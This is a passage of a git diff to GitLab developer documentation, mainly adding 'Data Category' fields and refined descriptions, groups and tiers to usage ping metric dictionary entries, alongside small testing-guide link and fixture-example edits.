-as it helps enforce accessibility best practices. `findByRole` and the other [DOM Testing Library queries](https://testing-library.com/docs/queries/about) are available when using [`shallowMountExtended` or `mountExtended`](#shallowmountextended-and-mountextended).
+When selecting by text it is best to use the [`byRole`](https://testing-library.com/docs/queries/byrole/) query
+as it helps enforce accessibility best practices. `findByRole` and the other [DOM Testing Library queries](https://testing-library.com/docs/queries/about/) are available when using [`shallowMountExtended` or `mountExtended`](#shallowmountextended-and-mountextended).
When writing Vue component unit tests, it can be wise to query children by component, so that the unit test can focus on comprehensive value coverage
rather than dealing with the complexity of a child component's behavior.
@@ -891,14 +891,13 @@ describe GraphQL::Query, type: :request do
include GraphqlHelpers
all_releases_query_path = 'releases/graphql/queries/all_releases.query.graphql'
- fragment_paths = ['releases/graphql/fragments/release.fragment.graphql']
before(:all) do
clean_frontend_fixtures('graphql/releases/')
end
it "graphql/#{all_releases_query_path}.json" do
- query = get_graphql_query_as_string(all_releases_query_path, fragment_paths)
+ query = get_graphql_query_as_string(all_releases_query_path)
post_graphql(query, current_user: admin, variables: { fullPath: project.full_path })
@@ -910,10 +909,6 @@ end
This will create a new fixture located at
`tmp/tests/frontend/fixtures-ee/graphql/releases/graphql/queries/all_releases.query.graphql.json`.
-You will need to provide the paths to all fragments used by the query.
-`get_graphql_query_as_string` reads all of the provided file paths and returns
-the result as a single, concatenated string.
-
You can import the JSON fixture in a Jest test using the `getJSONFixture` method
[as described below](#use-fixtures).
@@ -1152,7 +1147,7 @@ Both functions run `callback` on the next tick after the requests finish (using
### `shallowMountExtended` and `mountExtended`
The `shallowMountExtended` and `mountExtended` utilities provide you with the ability to perform
-any of the available [DOM Testing Library queries](https://testing-library.com/docs/queries/about)
+any of the available [DOM Testing Library queries](https://testing-library.com/docs/queries/about/)
by prefixing them with `find` or `findAll`.
```javascript
diff --git a/doc/development/testing_guide/index.md b/doc/development/testing_guide/index.md
index c22a4e0b3ad..889dc45d6e3 100644
--- a/doc/development/testing_guide/index.md
+++ b/doc/development/testing_guide/index.md
@@ -70,4 +70,4 @@ Everything you should know about how to run end-to-end tests using
Everything you should know about how to test migrations.
-[Return to Development documentation](../README.md)
+[Return to Development documentation](../index.md)
diff --git a/doc/development/understanding_explain_plans.md b/doc/development/understanding_explain_plans.md
index f9d1e7e2eee..c3fefd40171 100644
--- a/doc/development/understanding_explain_plans.md
+++ b/doc/development/understanding_explain_plans.md
@@ -825,3 +825,5 @@ For more information about the available options, run:
A more extensive guide on understanding query plans can be found in
the [presentation](https://public.dalibo.com/exports/conferences/_archives/_2012/201211_explain/understanding_explain.pdf)
from [Dalibo.org](https://www.dalibo.com/en/).
+
+Depesz's blog also has a good [section](https://www.depesz.com/tag/unexplainable) dedicated to query plans.
diff --git a/doc/development/usage_ping.md b/doc/development/usage_ping.md
deleted file mode 100644
index 567a2d41c33..00000000000
--- a/doc/development/usage_ping.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'usage_ping/index.md'
-remove_date: '2021-05-23'
----
-
-This document was moved to [another location](usage_ping/index.md).
-
-<!-- This redirect file can be deleted after <2021-05-23>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> \ No newline at end of file
diff --git a/doc/development/usage_ping/dictionary.md b/doc/development/usage_ping/dictionary.md
index e76fb302b9c..934bdf9c808 100644
--- a/doc/development/usage_ping/dictionary.md
+++ b/doc/development/usage_ping/dictionary.md
@@ -42,6 +42,8 @@ The number of active users existing in the instance. This is named the instance_
Group: `group::product intelligence`
+Data Category: `Subscription`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -54,6 +56,8 @@ Unique visitors to any analytics feature by week
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -66,6 +70,8 @@ Unique visitors to any analytics feature by month
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -78,6 +84,8 @@ Unique visitors to /groups/:group/-/contribution_analytics
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -90,6 +98,8 @@ Unique visitors to /groups/:group/-/insights
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -102,6 +112,8 @@ Unique visitors to /groups/:group/-/issues_analytics
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -114,6 +126,8 @@ Unique visitors to /groups/:group/-/analytics/merge_request_analytics
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`
@@ -126,6 +140,8 @@ Unique visitors to /groups/:group/-/analytics/productivity_analytics
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -138,6 +154,8 @@ Unique visitors to /groups/:group/-/analytics/value_stream_analytics
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -150,6 +168,8 @@ Unique visitors to /-/instance_statistics/cohorts
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -162,6 +182,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -174,6 +196,8 @@ Unique visitors to /-/instance_statistics/dev_ops_score
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -186,6 +210,8 @@ Unique visitors to/admin/usage_trends
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -198,6 +224,8 @@ Unique visitors to /:group/:project/-/analytics/code_reviews
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -210,6 +238,8 @@ Unique visitors to /:group/:project/insights
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -222,6 +252,8 @@ Unique visitors to /:group/:project/-/analytics/issues_analytics
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -234,6 +266,8 @@ Unique visitors to /:group/:project/-/analytics/merge_request_analytics
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -246,6 +280,8 @@ Unique visitors to /:group/:project/pipelines/charts
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -258,6 +294,8 @@ Unique visitors to /:group/:project/-/graphs/master/charts
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -270,6 +308,8 @@ Unique visitors to /:group/:project/-/value_stream_analytics
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -282,93 +322,109 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `compliance_unique_visits.a_compliance_audit_events_api`
-Missing description
+Unique users that have used the Audit Events API.
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183912_a_compliance_audit_events_api.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183912_a_compliance_audit_events_api.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `compliance_unique_visits.compliance_unique_visits_for_any_target`
-Missing description
+Number of unique visits to any compliance page
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183914_compliance_unique_visits_for_any_target.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183914_compliance_unique_visits_for_any_target.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `compliance_unique_visits.compliance_unique_visits_for_any_target_monthly`
-Missing description
+Number of unique visits to any compliance page over a given month
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183916_compliance_unique_visits_for_any_target_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183916_compliance_unique_visits_for_any_target_monthly.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `compliance_unique_visits.g_compliance_audit_events`
-Missing description
+Unique users who have viewed audit events
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183906_g_compliance_audit_events.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183906_g_compliance_audit_events.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `compliance_unique_visits.g_compliance_dashboard`
-Missing description
+Number of unique visitors to the compliance dashboard.
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183904_g_compliance_dashboard.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183904_g_compliance_dashboard.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `compliance_unique_visits.i_compliance_audit_events`
-Missing description
+Unique users that have viewed the instance-level audit events screen
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183908_i_compliance_audit_events.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183908_i_compliance_audit_events.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `compliance_unique_visits.i_compliance_credential_inventory`
-Missing description
+Unique users who have viewed the credential inventory
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183910_i_compliance_credential_inventory.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183910_i_compliance_credential_inventory.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `ultimate`
### `container_registry_enabled`
@@ -378,6 +434,8 @@ A count of projects where the container registry is enabled
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -390,6 +448,8 @@ Identifies if a user is using an external container registry and what type
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -402,6 +462,8 @@ Identifies the version of the external registry being used
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -412,7 +474,9 @@ Count of issues created by the alert bot automatically
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180449_alert_bot_incident_issues.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
@@ -426,6 +490,8 @@ Total Searches for All Basic Search and Advanced Search in self-managed and SaaS
Group: `group::global search`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -438,6 +504,8 @@ Count of API Fuzzing `docker-in-docker` jobs run by job name
Group: `group::fuzz testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -450,6 +518,8 @@ Count of API Fuzzing jobs run by job name
Group: `group::fuzz testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -462,6 +532,8 @@ Count of assignee lists created on Boards
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -474,6 +546,8 @@ Projects with Auto DevOps template disabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -486,6 +560,8 @@ Projects with Auto DevOps template enabled (excluding implicit Auto DevOps enabl
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -498,6 +574,8 @@ Count of Boards created
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -510,6 +588,8 @@ Unique builds in project
Group: `group::pipeline execution`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -522,6 +602,8 @@ Total pipelines in external repositories
Group: `group::pipeline execution`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -534,6 +616,8 @@ Total pipelines in GitLab repositories
Group: `group::pipeline execution`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -546,6 +630,8 @@ Total pipelines from an Auto DevOps template
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -558,6 +644,8 @@ Total Pipelines from templates in repository
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -570,102 +658,120 @@ Pipeline schedules in GitLab
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `counts.ci_runners`
-Total configured Runners in project
+Total configured Runners of all types
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175520_ci_runners.yml)
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `counts.ci_runners_group_type_active`
-Total active instance Runners
+Total active Group Runners
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502050341_ci_runners_group_type_active.yml)
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `counts.ci_runners_group_type_active_online`
-Total active and online group Runners
+Total active and online Group Runners
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502051922_ci_runners_group_type_active_online.yml)
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `counts.ci_runners_instance_type_active`
-Total active group Runners
+Total active Shared (Instance) Runners
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502045402_ci_runners_instance_type_active.yml)
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `counts.ci_runners_instance_type_active_online`
-Total active and online instance Runners
+Total active and online Shared (Instance) Runners
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502051651_ci_runners_instance_type_active_online.yml)
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `counts.ci_runners_online`
-Total online Runners
+Total online Runners of all types
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502050942_ci_runners_online.yml)
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `counts.ci_runners_project_type_active`
-Total active project Runners
+Total active Specific (Project) Runners
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502050834_ci_runners_project_type_active.yml)
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `counts.ci_runners_project_type_active_online`
-Total active and online project Runners
+Total active and online Specific (Project) Runners
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502052036_ci_runners_project_type_active_online.yml)
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -678,6 +784,8 @@ Total configured Triggers in project
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -690,6 +798,8 @@ Total GitLab Managed clusters both enabled and disabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -702,6 +812,8 @@ Total GitLab Managed clusters with GitLab Managed App:Cert Manager installed
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -714,6 +826,8 @@ Total GitLab Managed clusters with GitLab Managed App:Cilium installed
Group: `group::configure`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -726,6 +840,8 @@ Total GitLab Managed clusters with GitLab Managed App:Crossplane installed
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -738,6 +854,8 @@ Total GitLab Managed clusters with GitLab Managed App:Elastic Stack installed
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -750,6 +868,8 @@ Total GitLab Managed clusters with GitLab Managed App:Helm enabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -762,6 +882,8 @@ Total GitLab Managed clusters with GitLab Managed App:Ingress installed
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -774,6 +896,8 @@ Total GitLab Managed clusters with GitLab Managed App:Jupyter installed
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -786,6 +910,8 @@ Total GitLab Managed clusters with GitLab Managed App:Knative installed
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -798,6 +924,8 @@ Total GitLab Managed clusters with GitLab Managed App:Prometheus installed
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -810,6 +938,8 @@ Total GitLab Managed clusters with GitLab Managed App:Runner installed
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -822,6 +952,8 @@ Number of Kubernetes clusters attached to GitLab currently disabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -834,6 +966,8 @@ Number of Kubernetes clusters attached to GitLab currently enabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -846,6 +980,8 @@ Total GitLab Managed clusters with defined cluster management project
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -858,6 +994,8 @@ Total GitLab Managed clusters provisioned with GitLab on AWS EKS
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -870,6 +1008,8 @@ Total GitLab Managed clusters provisioned with GitLab on GCE GKE
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -882,6 +1022,8 @@ Total GitLab Managed clusters that are user provisioned
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -894,6 +1036,8 @@ Count of total unique commit comments. Does not include MR diff comments
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -906,6 +1050,8 @@ Count of confidential epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -918,6 +1064,8 @@ Count of Container Scanning jobs run
Group: `group::container security`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
@@ -930,6 +1078,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -942,6 +1092,8 @@ Total visits to VSA (both group- and project-level) all time
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -954,6 +1106,8 @@ Count of DAST jobs run
Group: `group::dynamic analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -966,6 +1120,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -978,6 +1134,8 @@ Count to Dependency List page views
Group: `group::composition analysis`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -990,6 +1148,8 @@ Count of Dependency Scanning jobs run
Group: `group::composition analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
@@ -1002,6 +1162,8 @@ Missing description
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -1014,6 +1176,8 @@ Total deployments count
Group: `group::ops release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1026,6 +1190,8 @@ Number of designs that were created
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1038,6 +1204,8 @@ Number of designs that were deleted
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1050,6 +1218,8 @@ Number of updates to designs
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1062,6 +1232,8 @@ Total available and stopped environments
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -1074,6 +1246,8 @@ Count of issues that are assigned to an epic
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -1086,6 +1260,8 @@ Count of all epics
Group: `group::product planning`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -1098,6 +1274,8 @@ Count of the deepest relationship level for epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -1110,6 +1288,8 @@ Total failed deployments
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -1122,6 +1302,8 @@ Number of feature flag toggles
Group: `group::progressive delivery`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -1134,6 +1316,8 @@ Number of replication events on a Geo primary
Group: `group::geo`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -1146,6 +1330,8 @@ Total number of sites in a Geo deployment
Group: `group::geo`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -1158,6 +1344,8 @@ Total Grafana integrations attached to projects
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -1170,6 +1358,8 @@ Total GitLab Managed disabled clusters previously attached to groups
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1182,6 +1372,8 @@ Total GitLab Managed clusters attached to groups
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1194,6 +1386,8 @@ Total count of groups as of usage ping snapshot
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1206,6 +1400,8 @@ Count of groups with active integrations for Asana
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1218,6 +1414,8 @@ Count of groups with active integrations for Assembla
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1230,6 +1428,8 @@ Count of groups with active integrations for Bamboo CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1242,6 +1442,8 @@ Count of groups with active integrations for Bugzilla
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1254,6 +1456,8 @@ Count of groups with active integrations for Buildkite
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1266,6 +1470,8 @@ Count of groups with active integrations for Campfire
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1278,6 +1484,8 @@ Count of groups with active integrations for Confluence
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1290,6 +1498,8 @@ Count of groups with active integrations for a Custom Issue Tracker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1302,6 +1512,8 @@ Count of groups with active integrations for Datadog
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1314,6 +1526,8 @@ Count of groups with active integrations for Discord
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1326,6 +1540,8 @@ Count of groups with active integrations for Drone CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1338,6 +1554,8 @@ Count of groups with active integrations for Emails on Push
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1350,6 +1568,8 @@ Count of groups with active integrations for EWM
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1362,6 +1582,8 @@ Count of groups with active integrations for External Wiki
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1374,6 +1596,8 @@ Count of groups with active integrations for Flowdock
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1386,6 +1610,8 @@ Count of groups with active integrations for GitHub
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -1398,6 +1624,8 @@ Count of groups with active integrations for Hangouts Chat
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1410,6 +1638,8 @@ Count of groups with active integrations for HipChat
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -1422,6 +1652,8 @@ Count of active groups inheriting integrations for Asana
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1434,6 +1666,8 @@ Count of active groups inheriting integrations for Assembla
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1446,6 +1680,8 @@ Count of active groups inheriting integrations for Bamboo CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1458,6 +1694,8 @@ Count of active groups inheriting integrations for Bugzilla
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1470,6 +1708,8 @@ Count of active groups inheriting integrations for Buildkite
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1482,6 +1722,8 @@ Count of active groups inheriting integrations for Campfire
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1494,6 +1736,8 @@ Count of active groups inheriting integrations for Confluence
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1506,6 +1750,8 @@ Count of active groups inheriting integrations for a Custom Issue Tracker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1518,6 +1764,8 @@ Count of active groups inheriting integrations for Datadog
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1530,6 +1778,8 @@ Count of active groups inheriting integrations for Discord
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1542,6 +1792,8 @@ Count of active groups inheriting integrations for Drone CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1554,6 +1806,8 @@ Count of active groups inheriting integrations for Emails on Push
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1566,6 +1820,8 @@ Count of active groups inheriting integrations for EWM
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1578,6 +1834,8 @@ Count of active groups inheriting integrations for External Wiki
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1590,6 +1848,8 @@ Count of active groups inheriting integrations for Flowdock
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
